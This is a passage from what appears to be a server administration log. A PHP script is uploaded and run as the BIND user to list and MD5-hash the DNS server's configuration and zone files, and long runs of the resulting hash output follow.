MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-23 12:45:24: Establishing a connection
2026-04-23 12:45:24: 

PUT: /tmp/pkp614871

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-23 12:45:24: 

runuser -l bind -s /bin/bash -c '/tmp/pkp614871; rm /tmp/pkp614871'

2026-04-23 12:45:24: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-23 12:53:06: Establishing a connection
2026-04-23 12:53:06: 

PUT: /tmp/pkp654289

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-23 12:53:06: 

runuser -l bind -s /bin/bash -c '/tmp/pkp654289; rm /tmp/pkp654289'

2026-04-23 12:53:06: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
